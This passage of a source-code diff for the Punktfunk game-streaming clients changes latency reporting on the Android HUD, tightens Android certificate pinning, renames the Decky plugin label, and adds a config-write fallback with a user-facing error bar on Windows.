floorMs), shave(s[25], floorMs), "capture→displayed") } else { Triple(s[2], s[3], "capture→decoded") } @@ -120,6 +138,11 @@ internal fun StatsOverlay( // dropping/serializing, an fps deficit is upstream. val split = s.size >= 30 && s[29] != 0.0 && (s[26] > 0 || s[27] > 0) val displayTerm = when { + // Floor excluded: what remains of the `display` term is the half Punktfunk + // owns (the presenter's pace wait), and the excluded line below carries the + // latch — printing the split too would report the same milliseconds twice. + dispValid && floorMs > 0 -> + " + display ${"%.1f".format(shave(s[23], floorMs))}" dispValid && split -> " + display ${"%.1f".format(s[23])} " + "(pace ${"%.1f".format(s[26])} + latch ${"%.1f".format(s[27])})" @@ -143,16 +166,14 @@ internal fun StatsOverlay( "= $hostTerms + $decodeTerm$displayTerm$presents", Color.White, ) - // Metric fairness: the Apple client's HUD shaves ~2 refresh periods of OS - // pipeline floor off its shown display/end-to-end; Android shows raw. This twin - // applies the same shave so iPhone↔Android HUD numbers compare directly. - if (dispValid && hz > 0) { - val shave = 2000.0 / hz + // What the numbers above leave out, named — the Apple client's + // `os present +N excluded` line, same wording so the two HUDs read alike. + // (This replaces the old "≈ Apple-HUD equiv" twin: both clients now shave, and + // Android's shave is measured rather than assumed at 2 refresh periods.) + if (floorMs > 0) { statLine( - "≈ Apple-HUD equiv: end-to-end " + - "${"%.1f".format((s[24] - shave).coerceAtLeast(0.0))} · display " + - "${"%.1f".format((s[23] - shave).coerceAtLeast(0.0))} (−2 refresh)", - Color(0xFFA8D8B8), + "os present +${"%.1f".format(floorMs)} excluded (display pipeline minimum)", + Color(0xFF9AA6B8), ) } } @@ -167,6 +188,37 @@ private fun statLine(text: String, color: Color) { Text(text, color = color, fontFamily = FontFamily.Monospace, fontSize = 12.sp) } +/** + * The OS present floor to exclude from the shown `display` / `end-to-end` numbers, ms — the + * measured `latch` p50 at index 27, i.e. release→`OnFrameRendered`: SurfaceFlinger's own latch and + * scanout. That is compositor pipeline depth no client can pace under, so it is reported as + * excluded rather than charged to Punktfunk — the Apple client's policy since its presentation + * rebuild, where the same floor is measured from the display link's vend lead. + * + * Measured, not assumed: the previous Android treatment used a fixed `2000/hz` twin, but the latch + * varies with panel rate, tunnelled playback and the vendor's low-latency mode (~21 ms p50 observed + * where the ~2-interval model predicts less), and this term self-adapts to all three. It is also + * available on every render path — the presenter's and both legacy release-immediately ones — since + * the release stamp it starts from is parked on every render, so it does not depend on + * `presenterActive` (29). + * + * `0.0` means unmeasured — no display stage this window (an older native lib, API < 33, or a + * platform that refused the callback), or no latch sample paired — and every caller then leaves its + * number raw, which is the honest fallback: we exclude only what we actually measured. + */ +private fun osFloorMs(s: DoubleArray): Double { + val dispValid = s.size >= 26 && s[22] != 0.0 + if (!dispValid || s.size < 28) return 0.0 + return s[27].coerceAtLeast(0.0) +} + +/** + * Subtract the excluded [floorMs] from a shown latency [ms], clamped at zero — the percentiles are + * drawn from different sample sets (a p50 latch against a p50/p95 end-to-end), so the difference can + * legitimately go slightly negative on a well-paced window without anything being wrong. + */ +private fun shave(ms: Double, floorMs: Double): Double = (ms - floorMs).coerceAtLeast(0.0) + /** * The single [StatsVerbosity.COMPACT] line: `238 fps · 1.3 ms · 921 Mb/s`. The end-to-end p50 term * is dropped when no in-range latency sample landed (`latValid` false), and a loss flag @@ -174,8 +226,9 @@ private fun statLine(text: String, color: Color) { * one reliability signal worth surfacing even at the tersest tier. */ private fun compactLine(s: DoubleArray, latValid: Boolean): String { - // Prefer the capture→displayed end-to-end (s[24]) when a render timestamp landed this window. - val e2eP50 = if (s.size >= 26 && s[22] != 0.0) s[24] else s[2] + // Prefer the capture→displayed end-to-end (s[24]) when a render timestamp landed this window, + // less the excluded OS present floor — the same number the richer tiers headline. + val e2eP50 = if (s.size >= 26 && s[22] != 0.0) shave(s[24], osFloorMs(s)) else s[2] val parts = buildList { add("${s[0].roundToInt()} fps") if (latValid) add("${"%.1f".format(e2eP50)} ms") diff --git a/clients/android/app/src/test/kotlin/io/unom/punktfunk/screenshots/ShotScenes.kt b/clients/android/app/src/test/kotlin/io/unom/punktfunk/screenshots/ShotScenes.kt index b012a453..a7845699 100644 --- a/clients/android/app/src/test/kotlin/io/unom/punktfunk/screenshots/ShotScenes.kt +++ b/clients/android/app/src/test/kotlin/io/unom/punktfunk/screenshots/ShotScenes.kt @@ -355,9 +355,11 @@ internal fun StreamScene(verbosity: StatsVerbosity = StatsVerbosity.DETAILED) { // dispValid, displayP50, e2eDispP50, e2eDispP95]. // 10/9/16/1 = a 10-bit BT.2020 PQ (HDR) 4:2:0 feed so the DETAILED HUD renders its // video-feed line; the display stage is valid (dispValid 1) so the headline is the - // directly-measured capture→displayed pair (1.8/2.6) and the Phase-2 stage terms - // (host 0.6 + network 0.3 + decode 0.4 + display 0.5) tile it, rendering the full split - // equation; the decoder label shows the ranked low-latency decoder. Light per-window loss + // directly-measured capture→displayed pair, less the excluded OS present floor (the 0.3 + // latch p50) — 1.5/2.3 shown from 1.8/2.6 raw — and the Phase-2 stage terms + // (host 0.6 + network 0.3 + decode 0.4 + display 0.2) tile the shaved headline, with the + // `os present +0.3 excluded` line naming what came off; the decoder label shows the ranked + // low-latency decoder. Light per-window loss // (lost 2 · skipped 1 · FEC 5 of 238) so the reliability line (NORMAL/DETAILED) and the // compact loss flag both render. StatsOverlay( diff --git a/clients/android/kit/src/main/kotlin/io/unom/punktfunk/kit/library/Library.kt b/clients/android/kit/src/main/kotlin/io/unom/punktfunk/kit/library/Library.kt index 12b4d1e3..6088df8a 100644 --- a/clients/android/kit/src/main/kotlin/io/unom/punktfunk/kit/library/Library.kt +++ b/clients/android/kit/src/main/kotlin/io/unom/punktfunk/kit/library/Library.kt @@ -127,8 +127,14 @@ object LibraryClient { * An OkHttpClient that presents the paired client cert and pins the host's self-signed cert by * SHA-256(DER) — reused for BOTH the library fetch and the cover-art loads (so a paired client * reaches the host's own art proxy). The pinning trust manager trusts the host by fingerprint and - * defers to normal public trust for any other origin (an external CDN URL); the hostname verifier - * accepts the pinned host (whose self-signed cert has no matching SAN) and defers otherwise. + * defers to normal public trust for any other origin (an external CDN URL). + * + * The two checks are only sound TOGETHER, and the composition is the point: the trust manager + * cannot fail closed on its own (it has no hostname, so it must let a CDN chain through), so the + * hostname verifier is what makes the pinned host pin-only. Loosen either and a publicly-trusted + * certificate for any name is accepted for the host — which is exactly what 2026-08-05 review M-2 + * found. The host's own cert is self-signed with no matching SAN, so it can never satisfy the + * default verifier; the pin is its only credential, on purpose. */ fun mtlsHttpClient(certPem: String, keyPem: String, host: String, fpHex: String): OkHttpClient { val clientCert = CertificateFactory.getInstance("X.509") @@ -162,7 +168,26 @@ fun mtlsHttpClient(certPem: String, keyPem: String, host: String, fpHex: String) val defaultVerifier = HttpsURLConnection.getDefaultHostnameVerifier() val verifier = HostnameVerifier { hostname, session -> - hostname == host || defaultVerifier.verify(hostname, session) + if (hostname == host) { + // The PINNED host fails closed: only the pinned leaf is acceptable for this name. + // + // This used to be a bare `hostname == host`, which composed with the trust manager's + // system-CA fall-through into "any publicly-trusted certificate, for any name, is + // accepted for the pinned host" — the pin was decorative (2026-08-05 review M-2). A + // MITM with any free CA-issued cert intercepted the connection, received the client's + // mTLS IDENTITY certificate, and served attacker-chosen library JSON and art URLs. + // The Rust (`pf-client-core`) and Apple (`ClientTLS`) paths already fail closed here; + // only Android did not. + try { + sha256Hex((session.peerCertificates.firstOrNull() as? X509Certificate)?.encoded ?: return@HostnameVerifier false) == pinned + } catch (_: Exception) { + false + } + } else { + // Any other origin (an external CDN art URL) is ordinary public trust: the system + // trust manager validated the chain, and this checks the name against it. + defaultVerifier.verify(hostname, session) + } } return OkHttpClient.Builder() diff --git a/clients/decky/plugin.json b/clients/decky/plugin.json index 9f179723..dc6a5f77 100644 --- a/clients/decky/plugin.json +++ b/clients/decky/plugin.json @@ -1,5 +1,5 @@ { - "name": "punktfunk", + "name": "Punktfunk", "author": "enrico", "flags": ["debug"], "api_version": 1, diff --git a/clients/decky/scripts/deploy.sh b/clients/decky/scripts/deploy.sh index 2d3eb202..db004de3 100755 --- a/clients/decky/scripts/deploy.sh +++ b/clients/decky/scripts/deploy.sh @@ -12,7 +12,9 @@ set -euo pipefail HERE="$(cd "$(dirname "$0")/.." && pwd)" DECK="${DECK:?set DECK=deck@}" -NAME="$(python3 -c 'import json;print(json.load(open("'"$HERE"'/plugin.json"))["name"])')" +# The on-disk plugin DIR (what scripts/package.sh staged into out/), not plugin.json "name" — +# that field is the brand-cased label Decky shows in its plugin list. See package.sh's header. +NAME=punktfunk STAGE_LOCAL="$HERE/out/$NAME" [ -d "$STAGE_LOCAL" ] || { echo "$STAGE_LOCAL missing — run scripts/package.sh first" >&2; exit 1; } diff --git a/clients/decky/scripts/package.sh b/clients/decky/scripts/package.sh index 9c07cf12..6e517563 100755 --- a/clients/decky/scripts/package.sh +++ b/clients/decky/scripts/package.sh @@ -5,9 +5,13 @@ # package.json,decky.pyi,LICENSE,README.md} # out/punktfunk/ (the same tree, unzipped — rsync this with scripts/deploy.sh) # -# Decky extracts the zip with --strip-components=1, so the single top-level dir MUST equal -# plugin.json "name". Run after `pnpm build` (or use `pnpm run package`). Host-agnostic: needs -# only bash, python3 and zip. +# The single top-level dir is the plugin's ON-DISK folder name (Decky extracts the zip as-is, +# so the dir in the zip becomes ~/homebrew/plugins/). It is deliberately NOT read from +# plugin.json "name": that field is the user-visible label ("Punktfunk", brand-cased, shown in +# Decky's plugin list) and Decky locates an installed plugin by MATCHING it, never by the folder +# name. Keeping the folder lowercase means a rename of the label can't strand the old directory +# next to a new one (which would show up as two plugins). +# Run after `pnpm build` (or use `pnpm run package`). Host-agnostic: needs only bash, python3 and zip. set -euo pipefail HERE="$(cd "$(dirname "$0")/.." && pwd)" cd "$HERE" @@ -15,7 +19,7 @@ cd "$HERE" [ -f dist/index.js ] || { echo "dist/index.js missing — run 'pnpm build' first" >&2; exit 1; } [ -f LICENSE ] || { echo "LICENSE missing (required by the Decky store)" >&2; exit 1; } -NAME="$(python3 -c 'import json;print(json.load(open("plugin.json"))["name"])')" +NAME=punktfunk # the on-disk plugin dir (see the header) — NOT plugin.json "name" VER="$(python3 -c 'import json;print(json.load(open("package.json"))["version"])')" STAGE="$(mktemp -d)" diff --git a/clients/decky/src/hooks.ts b/clients/decky/src/hooks.ts index 0c1911dc..7c7c4c7d 100644 --- a/clients/decky/src/hooks.ts +++ b/clients/decky/src/hooks.ts @@ -122,6 +122,25 @@ function advertMatchesSaved(a: DiscoveredHost, s: SavedHost): boolean { ); } +/** + * The label a saved row shows. + * + * A saved record whose name IS its own address is a PLACEHOLDER, not a choice: `hosts add` + * falls back to the address when the pairing path had nothing better, so the row ends up + * captioned with the same string it already prints underneath. When the box is on the air it + * is advertising its actual hostname — prefer that, and the row reads "home-worker-5" instead + * of "192.168.1.21". + * + * A real saved name always wins over the advert, even a stale one: it may be a name the user + * chose, and a live advert must never quietly overwrite that. Compared against the SAVED + * address, so a host that moved DHCP lease still recognises its old address as a placeholder. + */ +function hostLabel(s: SavedHost, advert?: DiscoveredHost): string { + const placeholder = !s.name || s.name === s.addr || s.name === `${s.addr}:${s.port}`; + if (!placeholder) return s.name; + return advert?.name || s.name || s.addr; +} + /** * Join the saved store and the live browse into the rows the panel draws. * @@ -134,7 +153,7 @@ export function mergeHosts(saved: SavedHost[], discovered: DiscoveredHost[]): Ho // Prefer a live advert's address: the host may have moved since it was last saved. const advert = discovered.find((a) => advertMatchesSaved(a, s)); return { - name: s.name || s.addr, + name: hostLabel(s, advert), addr: advert?.addr ?? s.addr, port: advert?.port ?? s.port, fp: s.fp_hex, @@ -387,7 +406,10 @@ export async function applyUpdate( // before any result could arrive — so never await it. Decky shows its own confirm prompt. void backend.callable("utilities/install_plugin")( info.artifact, - "punktfunk", + // The name Decky uninstalls before extracting the new zip — it locates the folder by + // matching plugin.json "name", so this must equal THIS build's plugin.json name (the + // brand-cased one), not the lowercase on-disk dir. + "Punktfunk", info.latest, info.hash, INSTALL_TYPE_UPDATE, diff --git a/clients/decky/src/index.tsx b/clients/decky/src/index.tsx index 24c5e180..e5ec1d6b 100644 --- a/clients/decky/src/index.tsx +++ b/clients/decky/src/index.tsx @@ -337,9 +337,11 @@ export default definePlugin(() => { // controller config. Fire-and-forget: cosmetic library upkeep must never block plugin load. void ensureGamepadUiShortcut(); return { - // `name` is the plugin's INTERNAL id — it must stay in sync with plugin.json (the loader - // keys plugins by it), so it stays lowercase; user-facing strings say "Punktfunk". - name: "punktfunk", + // `name` must stay in sync with plugin.json (the loader keys plugins by it) — and it is + // USER-VISIBLE: Decky labels the entry in its plugin list with it, so it carries the brand + // case. Decky finds an installed plugin by matching plugin.json "name" (never the folder + // name), so this is independent of the on-disk dir, which stays lowercase `punktfunk`. + name: "Punktfunk", // `staticClasses?.Title` is guarded so a future client that drops the export can't throw // at plugin-load time (an error boundary only catches render-time, not load-time, errors). titleView:
Punktfunk
, diff --git a/clients/decky/src/steam.ts b/clients/decky/src/steam.ts index 26f1fcac..176808bc 100644 --- a/clients/decky/src/steam.ts +++ b/clients/decky/src/steam.ts @@ -70,9 +70,18 @@ declare const appStore: * entry from a false "missing". A confident null means the shortcut was deleted → recreate. */ function shortcutStillExists(appId: number): boolean { try { - const get = appStore?.GetAppOverviewByAppID; - if (!get) return true; // no way to verify — preserve the reuse path - return get(appId) != null; + // Call it as a METHOD on appStore — NEVER as an extracted function. Its implementation + // reads the store's own state (`this.m_mapApps`), so `const get = appStore.GetAppOverview…; + // get(id)` throws on the lost `this`, and the catch below turns that into a permanent + // "true". That is not a stale-data bug but a total one: the guard then answers "still + // exists" for EVERY appId, so a dangling id is never dropped, the reuse path repoints a + // dead shortcut (silent no-ops), and "recreate" reports success having done nothing. + // `typeof` first: `appStore` is a Steam-injected global, and a bare reference to a missing + // one is a ReferenceError that optional chaining does NOT prevent. + if (typeof appStore === "undefined" || !appStore?.GetAppOverviewByAppID) { + return true; // no way to verify — preserve the reuse path + } + return appStore.GetAppOverviewByAppID(appId) != null; } catch { return true; } diff --git a/clients/linux/src/cli.rs b/clients/linux/src/cli.rs index f4729d00..ce558a22 100644 --- a/clients/linux/src/cli.rs +++ b/clients/linux/src/cli.rs @@ -773,6 +773,7 @@ fn mock_library() -> ( title: title.to_string(), art: crate::library::Artwork::default(), platform: None, + role: None, }; let games = vec![ game("steam:570", "steam", "Dota 2"), diff --git a/clients/windows/src/app/settings.rs b/clients/windows/src/app/settings.rs index ecfa1792..b6532d7d 100644 --- a/clients/windows/src/app/settings.rs +++ b/clients/windows/src/app/settings.rs @@ -1911,10 +1911,35 @@ pub(crate) fn settings_page( } else { border(vstack(Vec::::new())).into() }; + // Every save on this page is fire-and-forget by design — a failed settings write must + // never take a stream down — so a client whose config store rejects writes looks entirely + // normal: toggles move, profiles appear, and NOTHING survives a restart. That is exactly + // how it reached us from the field ("it's in read-only mode"), with no log file to send + // either. When the store is refusing writes, say so, name the path, and stop pretending. + // + // Same always-mounted-slot discipline as `sheet_slot`: one child in both states, and the + // SAME KIND in both (a Border wrapping the bar, versus an empty background-less Border — + // which per style.rs is not hit-testable, so it swallows no clicks). Neither a grid child + // nor a vstack child is ever added or removed, which is where this reconciler's phantom + // bookkeeping breaks. + let store_slot: Element = match pf_client_core::trust::store_health::last_error() { + Some(err) => border( + InfoBar::new("Your changes aren\u{2019}t being saved") + .message(format!( + "Punktfunk can\u{2019}t write to its settings folder, so nothing on this \ + page will survive a restart. {err}" + )) + .error() + .is_closable(false), + ) + .margin(edges(24.0, 12.0, 28.0, 0.0)) + .into(), + None => border(vstack(Vec::::new())).into(), + }; // The bar rides an Auto row above the nav's Star row, so the nav (and the sheet's scrim // over it) still fills the rest of the window. grid(vec![ - scope_bar.grid_row(0), + Element::from(vstack(vec![store_slot, scope_bar])).grid_row(0), Element::from(grid(vec![nav.into(), sheet_slot, confirm])).grid_row(1), ]) .rows([GridLength::Auto, GridLength::STAR]) diff --git a/crates/pf-client-core/src/library.rs b/crates/pf-client-core/src/library.rs index 6cd40089..84abb420 100644 --- a/crates/pf-client-core/src/library.rs +++ b/crates/pf-client-core/src/library.rs @@ -66,6 +66,20 @@ pub struct GameEntry { /// host's flattened `GameMeta`; the rest of the metadata is not decoded until a UI needs it. #[serde(default)] pub platform: Option, + /// `"game"` (the default, and what an older host omits) or `"launcher"` — an entry that opens + /// the launcher itself (Steam Big Picture, Heroic) rather than a title. A UI may group these + /// separately; one that doesn't renders them as ordinary tiles, which is the intended + /// degradation (design D4). Kept a plain string: the host owns the vocabulary, and an unknown + /// future value must never fail the whole library decode. + #[serde(default)] + pub role: Option, +} + +impl GameEntry { + /// Whether this entry opens a launcher rather than a game. + pub fn is_launcher(&self) -> bool { + self.role.as_deref() == Some("launcher") + } } /// Errors surfaced to the UI so it can guide setup (the common case is "not paired yet"). diff --git a/crates/pf-client-core/src/pad_audio.rs b/crates/pf-client-core/src/pad_audio.rs index 4f29c2e7..16394481 100644 --- a/crates/pf-client-core/src/pad_audio.rs +++ b/crates/pf-client-core/src/pad_audio.rs @@ -921,10 +921,10 @@ fn pad_render_thread( const BLOCK_ALIGN: usize = PAD_CHANNELS * 4; // f32 interleaved let enumerator = wasapi::DeviceEnumerator::new().context("DeviceEnumerator")?; // Not `get_device`: that helper resolves through a freed string — see - // [`crate::audio_wasapi::device_by_id`]. - let device = - crate::audio_wasapi::device_by_id(&enumerator, &Direction::Render, endpoint_id) - .map_err(|e| anyhow!("correlated endpoint not found: {e:#}"))?; + // [`crate::audio::device_by_id`] (audio_wasapi.rs, mounted as `crate::audio` on + // Windows by lib.rs's `#[path]` swap — there is no `audio_wasapi` module name). + let device = crate::audio::device_by_id(&enumerator, &Direction::Render, endpoint_id) + .map_err(|e| anyhow!("correlated endpoint not found: {e:#}"))?; let mut audio_client = device.get_iaudioclient().context("IAudioClient")?; // FL|FR|BL|BR: front pair = the pad's speaker, back pair = the voice coils. let desired = WaveFormat::new(32, 32, &SampleType::Float, 48_000, PAD_CHANNELS, Some(0x33)); diff --git a/crates/pf-client-core/src/trust.rs b/crates/pf-client-core/src/trust.rs index c05bc820..3b10a192 100644 --- a/crates/pf-client-core/src/trust.rs +++ b/crates/pf-client-core/src/trust.rs @@ -91,22 +91,131 @@ fn lock_identity_perms(dir: &std::path::Path, key: &std::path::Path) { let _ = std::fs::set_permissions(key, std::fs::Permissions::from_mode(0o600)); } +/// A sibling temp path unique to this process. The stores below have five whole-file writers +/// (WinUI shell, session, console UI, CLI, Decky) and a single shared `.json.tmp` lets two of +/// them interleave: on Windows the second `fs::write` hits a sharing violation, and worse, one +/// process can rename the OTHER's half-written bytes over the target. The pid keeps each +/// writer on its own scratch file; the rename below removes it, so a leftover only survives a +/// hard kill. +fn temp_sibling(path: &Path) -> PathBuf { + let mut name = path.file_name().unwrap_or_default().to_os_string(); + name.push(format!(".tmp-{}", std::process::id())); + path.with_file_name(name) +} + /// Write a config file the safe way: a sibling temp file, then a rename over the target. A /// plain `fs::write` truncates first, so a crash, a full disk or a power cut between truncate /// and the last byte leaves an empty/half file — and these stores are what a client needs to /// find its hosts at all. Rename is atomic within a directory on both Unix and Windows /// (`MoveFileEx` with replace), so a reader ever sees the old file or the new one, never a /// torn one. Same discipline as the host's `session_settings.rs`. +/// +/// **But the rename is not always available, and losing the write is far worse than a torn +/// one.** The Windows client ships as an MSIX package, so every path here is rewritten by the +/// container's AppData virtualization before it reaches the filesystem — and when the package +/// is installed to a secondary drive (Settings ▸ Storage ▸ "New apps will save to: D:"), +/// Windows stores that redirected AppData on the *package's* volume, under +/// `D:\WpSystem\\AppData\`. The literal path we name still says `C:\Users\…`, so a rename +/// can end up straddling two volumes, and `std::fs::rename` is `MoveFileExW` with +/// `MOVEFILE_REPLACE_EXISTING` and *not* `MOVEFILE_COPY_ALLOWED` — a cross-volume move fails +/// outright with `ERROR_NOT_SAME_DEVICE`. Creating and writing files works fine, which is why +/// such an install starts, streams and pairs happily while every setting and profile silently +/// evaporates (field report 2026-08-05: "it's in read-only mode"). +/// +/// So a failed rename falls back to writing the target in place. That is exactly what the +/// identity files already do a few lines up — and those demonstrably work on the affected +/// installs — so the fallback is a path we know resolves. It gives up crash-atomicity for that +/// one write and nothing else: the temp+rename stays the normal route everywhere it works. +/// +/// Writes and reads of one literal path cannot disagree under that redirection — Microsoft +/// documents a single private-location-first resolution order for both, so whichever layer a +/// write lands in is the layer the next read finds. The fallback still verifies by reading +/// back: a silent write is the exact bug being fixed here, and this path only runs on an +/// install that has already proven it does something unusual. pub(crate) fn write_atomic(path: &Path, bytes: &[u8]) -> std::io::Result<()> { - let tmp = path.with_extension("json.tmp"); - std::fs::write(&tmp, bytes)?; - match std::fs::rename(&tmp, path) { - Ok(()) => Ok(()), - Err(e) => { - // Don't leave the temp behind to confuse the next writer (or a backup tool). - let _ = std::fs::remove_file(&tmp); - Err(e) + let tmp = temp_sibling(path); + let atomic = std::fs::write(&tmp, bytes).and_then(|()| std::fs::rename(&tmp, path)); + let Err(e) = atomic else { + store_health::clear(); + return Ok(()); + }; + // Don't leave the temp behind to confuse the next writer (or a backup tool). + let _ = std::fs::remove_file(&tmp); + match std::fs::write(path, bytes) { + Ok(()) => { + tracing::warn!( + path = %path.display(), + error = %e, + "atomic replace unavailable in this install; wrote the config in place instead", + ); + // Read it straight back. This whole bug was a write that reported success and + // vanished, so the fallback does not get to claim success on the strength of an + // `Ok(())` alone — on the one layered filesystem we know we run on, that is the + // failure mode to be paranoid about. Only on the degraded path, so the normal + // route pays nothing. + match std::fs::read(path) { + Ok(back) if back == bytes => { + store_health::clear(); + Ok(()) + } + Ok(_) => { + let e = std::io::Error::other( + "the file read back different from what was just written", + ); + store_health::record(path, &e); + Err(e) + } + Err(reread) => { + store_health::record(path, &reread); + Err(reread) + } + } } + // Both routes are gone: the store really is unwritable. Report the direct write's + // error — it describes the actual permission/space problem, where the rename's may + // only say the two paths landed on different volumes. + Err(direct) => { + store_health::record(path, &direct); + Err(direct) + } + } +} + +/// Whether the config store is accepting writes, so a front-end can *say so* when it is not. +/// +/// Every persistence call site in this crate is deliberately fire-and-forget — a failed +/// settings write must never take a stream down — which historically meant a client whose +/// store was unwritable looked completely normal: toggles moved, profiles appeared, and +/// nothing survived a restart. The field report that produced this module had no log file to +/// send either, so there was no signal anywhere. Recording the last failure centrally lets the +/// UI surface it without unpicking ~15 `let _ = …save()` call sites. +pub mod store_health { + use std::path::Path; + use std::sync::Mutex; + + static LAST_ERROR: Mutex> = Mutex::new(None); + + pub(crate) fn record(path: &Path, err: &std::io::Error) { + let msg = format!("{}: {err}", path.display()); + tracing::error!(store = %path.display(), error = %err, "cannot persist client config"); + if let Ok(mut slot) = LAST_ERROR.lock() { + *slot = Some(msg); + } + } + + pub(crate) fn clear() { + if let Ok(mut slot) = LAST_ERROR.lock() { + *slot = None; + } + } + + /// The most recent failure to persist a config file, if the last attempt failed. + /// + /// Tracks the last *attempt*, not a per-file verdict: a store that cannot be written fails + /// every file, so this latches for as long as the problem lasts and goes quiet the moment + /// any write gets through. + pub fn last_error() -> Option { + LAST_ERROR.lock().ok().and_then(|s| s.clone()) } } @@ -1940,6 +2049,7 @@ mod tests { /// discipline all three client stores now share. #[test] fn write_atomic_replaces_and_cleans_up() { + let _guard = store_health_lock(); let dir = std::env::temp_dir().join(format!( "pf-client-core-test-{}", std::time::SystemTime::now() @@ -1953,7 +2063,112 @@ mod tests { assert_eq!(std::fs::read_to_string(&p).unwrap(), "{\"a\":1}"); write_atomic(&p, b"{\"a\":2}").unwrap(); assert_eq!(std::fs::read_to_string(&p).unwrap(), "{\"a\":2}"); - assert!(!p.with_extension("json.tmp").exists()); + assert!(!temp_sibling(&p).exists()); + // Nothing else in the directory either — the scratch file is gone, not renamed aside. + let left: Vec<_> = std::fs::read_dir(&dir) + .unwrap() + .filter_map(|e| e.ok().map(|e| e.file_name())) + .collect(); + assert_eq!(left, vec![std::ffi::OsString::from("store.json")]); + let _ = std::fs::remove_dir_all(&dir); + } + + /// `store_health` is process-global, so the two tests that read it must not run at the same + /// time — one's successful write clears the other's recorded failure. Nothing else in the + /// crate's tests reaches `write_atomic`, so this lock is the whole serialization needed. + fn store_health_lock() -> std::sync::MutexGuard<'static, ()> { + static LOCK: std::sync::Mutex<()> = std::sync::Mutex::new(()); + LOCK.lock().unwrap_or_else(|e| e.into_inner()) + } + + /// Two processes saving at once must not share one scratch file — the pid keeps them apart. + /// (Same-process, so this only proves the name varies with the pid, not the interleaving.) + #[test] + fn temp_sibling_is_per_process_and_a_sibling() { + let p = Path::new("/tmp/pf/client-windows-settings.json"); + let t = temp_sibling(p); + assert_eq!(t.parent(), p.parent()); + assert_eq!( + t.file_name().unwrap().to_str().unwrap(), + format!("client-windows-settings.json.tmp-{}", std::process::id()) + ); + // Must not collide with the store itself, nor look like one to `load()`. + assert_ne!(t, p.to_path_buf()); + } + + /// **The fix itself.** When the temp+rename route is unavailable, the bytes must still + /// reach the target — that is the difference between the field's "read-only mode" and a + /// working client. Simulated by parking a DIRECTORY on the (deterministic) temp sibling + /// path so the temp leg cannot be written; the field's install fails one step later, at + /// the rename, but both funnel into the same fallback, which is what this pins. + #[test] + fn the_atomic_route_failing_falls_back_to_an_in_place_write() { + let _guard = store_health_lock(); + let dir = std::env::temp_dir().join(format!( + "pf-client-core-inplace-{}-{}", + std::process::id(), + std::time::SystemTime::now() + .duration_since(std::time::UNIX_EPOCH) + .map(|d| d.as_nanos()) + .unwrap_or(0) + )); + std::fs::create_dir_all(&dir).unwrap(); + let p = dir.join("store.json"); + std::fs::write(&p, b"{\"old\":true}").unwrap(); + + // Block the scratch path, so the atomic route cannot complete. + std::fs::create_dir_all(temp_sibling(&p)).unwrap(); + assert!(temp_sibling(&p).is_dir()); + + // The write must still report success AND actually be readable back — a silent + // `Ok(())` that lost the bytes is the bug, not the fix. + write_atomic(&p, b"{\"new\":true}").unwrap(); + assert_eq!(std::fs::read_to_string(&p).unwrap(), "{\"new\":true}"); + // Degraded, but not broken: nothing to warn the user about. + assert_eq!(store_health::last_error(), None); + + let _ = std::fs::remove_dir_all(&dir); + } + + /// The other end: when the in-place fallback ALSO fails, the error must surface rather + /// than be swallowed, because at that point nothing the user does on the page will stick. + #[test] + fn a_failed_rename_still_persists_the_write() { + let _guard = store_health_lock(); + let dir = std::env::temp_dir().join(format!( + "pf-client-core-fallback-{}-{}", + std::process::id(), + std::time::SystemTime::now() + .duration_since(std::time::UNIX_EPOCH) + .map(|d| d.as_nanos()) + .unwrap_or(0) + )); + std::fs::create_dir_all(&dir).unwrap(); + + // Sanity: the healthy path reports a healthy store. + let ok = dir.join("store.json"); + write_atomic(&ok, b"{}").unwrap(); + assert_eq!(store_health::last_error(), None); + + // Now the unwritable case: a directory in the target's place defeats BOTH the rename + // and the in-place write, so the error must surface instead of being swallowed. + let blocked = dir.join("blocked.json"); + std::fs::create_dir_all(&blocked).unwrap(); + std::fs::write(blocked.join("occupant"), b"x").unwrap(); + assert!(write_atomic(&blocked, b"{\"a\":1}").is_err()); + let reported = store_health::last_error().expect("an unwritable store must be reported"); + assert!( + reported.contains("blocked.json"), + "the report names the store: {reported}" + ); + // No scratch file left behind by the failed attempt. + assert!(!temp_sibling(&blocked).exists()); + + // And a later success clears it, so the UI stops warning once the store recovers. + write_atomic(&ok, b"{\"a\":2}").unwrap(); + assert_eq!(store_health::last_error(), None); + assert_eq!(std::fs::read_to_string(&ok).unwrap(), "{\"a\":2}"); + let _ = std::fs::remove_dir_all(&dir); } } diff --git a/crates/pf-client-core/src/update.rs b/crates/pf-client-core/src/update.rs index b33d9cb3..6962b154 100644 --- a/crates/pf-client-core/src/update.rs +++ b/crates/pf-client-core/src/update.rs @@ -270,7 +270,11 @@ fn load_floor(path: &Path, channel: &str) -> u64 { .unwrap_or(0) } -/// Raise (never lower) the floor; atomic tmp+rename so a power cut can't half-write it. +/// Raise (never lower) the floor, through the crate's one config writer — this used to +/// hand-roll its own tmp+rename, which meant it neither cleaned up its temp on a failed +/// rename nor picked up [`crate::trust::write_atomic`]'s in-place fallback, so on an install +/// where the rename cannot work the floor silently never rose and a declined update came +/// back forever. fn store_floor(path: &Path, channel: &str, serial: u64) { let mut file: FloorFile = std::fs::read(path) .ok() @@ -287,10 +291,7 @@ fn store_floor(path: &Path, channel: &str, serial: u64) { if let Some(dir) = path.parent() { let _ = std::fs::create_dir_all(dir); } - let tmp = path.with_extension("json.tmp"); - if std::fs::write(&tmp, &bytes).is_ok() { - let _ = std::fs::rename(&tmp, path); - } + let _ = crate::trust::write_atomic(path, &bytes); } // ---------------------------------------------------------------- check diff --git a/crates/pf-clipboard/src/host.rs b/crates/pf-clipboard/src/host.rs index fab86bba..f7988005 100644 --- a/crates/pf-clipboard/src/host.rs +++ b/crates/pf-clipboard/src/host.rs @@ -309,6 +309,24 @@ pub fn offer_wire_mimes(raw: &[String]) -> Vec<&'static str> { out } +/// Whether a non-canonical, client-supplied MIME is safe to hand to Wayland as a string argument. +/// +/// Deliberately strict: printable ASCII only (so no NUL and no other control byte can reach the +/// `CString` in the generated encoder), bounded length, and it must actually look like a MIME type. +/// A real `type/subtype[;params]` passes; nothing that could crash or confuse the compositor does. +#[cfg(target_os = "linux")] +fn valid_passthrough_mime(m: &str) -> bool { + let Some((ty, rest)) = m.split_once('/') else { + return false; + }; + !ty.is_empty() + && !rest.is_empty() + && m.len() <= 255 + // 0x21..=0x7E: printable ASCII without space. Excludes NUL, every other control byte, and + // any non-ASCII byte. + && m.bytes().all(|b| (0x21..=0x7E).contains(&b)) +} + /// The Wayland MIMEs to advertise when installing a source for a client's offer. Each wire MIME /// expands to its canonical Wayland name(s); a rich-text-only offer also advertises 